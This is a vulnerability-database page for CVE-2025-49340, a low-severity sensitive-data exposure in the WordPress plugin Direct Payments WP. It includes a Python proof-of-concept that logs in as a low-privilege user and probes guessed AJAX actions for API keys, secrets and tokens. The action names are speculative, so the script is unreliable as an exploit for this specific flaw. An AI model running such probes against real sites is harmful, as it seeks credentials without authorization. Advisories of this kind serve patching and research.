Security Vulnerability Report
中文
CVE-2025-49340 CVSS 4.3 MEDIUM

CVE-2025-49340

Published: 2025-12-31 17:15:44
Last Modified: 2026-04-28 19:33:01

Description

Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in Digages Direct Payments WP direct-payments-wp allows Retrieve Embedded Sensitive Data.This issue affects Direct Payments WP: from n/a through <= 1.3.2.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Direct Payments WP插件 <= 1.3.2 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-49340 PoC - WordPress Direct Payments WP Sensitive Data Exposure # This PoC demonstrates the sensitive information disclosure vulnerability # in Direct Payments WP plugin versions <= 1.3.2 import requests import sys def check_vulnerability(target_url, username, password): """ Check if the target WordPress site is vulnerable to CVE-2025-49340 Args: target_url: Base URL of the WordPress site username: WordPress username (low privilege user) password: WordPress password Returns: bool: True if vulnerable, False otherwise """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Try to access sensitive plugin data via AJAX endpoint ajax_endpoints = [ '/wp-admin/admin-ajax.php', '/wp-json/wp/v2/settings', '/wp-admin/admin.php?page=direct-payments-wp-settings' ] # Common plugin AJAX actions that might expose data ajax_actions = [ 'direct_payments_wp_get_settings', 'direct_payments_wp_get_payment_data', 'direct_payments_wp_get_api_keys', 'direct_payments_wp_export_data' ] vulnerable = False for endpoint in ajax_endpoints: for action in ajax_actions: try: data = {'action': action} resp = session.post(f"{target_url}{endpoint}", data=data, timeout=10) # Check for sensitive information in response sensitive_keywords = ['api_key', 'secret', 'password', 'token', 'key', 'credential'] if resp.status_code == 200: for keyword in sensitive_keywords: if keyword.lower() in resp.text.lower(): print(f"[+] VULNERABLE: Found sensitive data at {endpoint} with action {action}") print(f"[+] Response excerpt: {resp.text[:500]}...") vulnerable = True except Exception as e: continue return vulnerable if __name__ == '__main__': if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com subscriber password123") sys.exit(1) target = sys.argv[1].rstrip('/') user = sys.argv[2] pwd = sys.argv[3] print(f"[*] Testing {target} for CVE-2025-49340") print(f"[*] Using low-privilege credentials: {user}:{pwd}") is_vulnerable = check_vulnerability(target, user, pwd) if is_vulnerable: print("\n[!] Target is VULNERABLE to CVE-2025-49340") print("[!] Sensitive information can be accessed by low-privilege users") else: print("\n[*] Target may not be vulnerable or plugin not installed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49340", "sourceIdentifier": "[email protected]", "published": "2025-12-31T17:15:44.113", "lastModified": "2026-04-28T19:33:00.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in Digages Direct Payments WP direct-payments-wp allows Retrieve Embedded Sensitive Data.This issue affects Direct Payments WP: from n/a through <= 1.3.2."}, {"lang": "es", "value": "Exposición de Información Sensible del Sistema a una Esfera de Control No Autorizada vulnerabilidad en Digages Direct Payments WP permite Recuperar Datos Sensibles Incrustados. Este problema afecta a Direct Payments WP: desde n/a hasta 1.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/direct-payments-wp/vulnerability/wordpress-direct-payments-wp-plugin-1-3-0-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}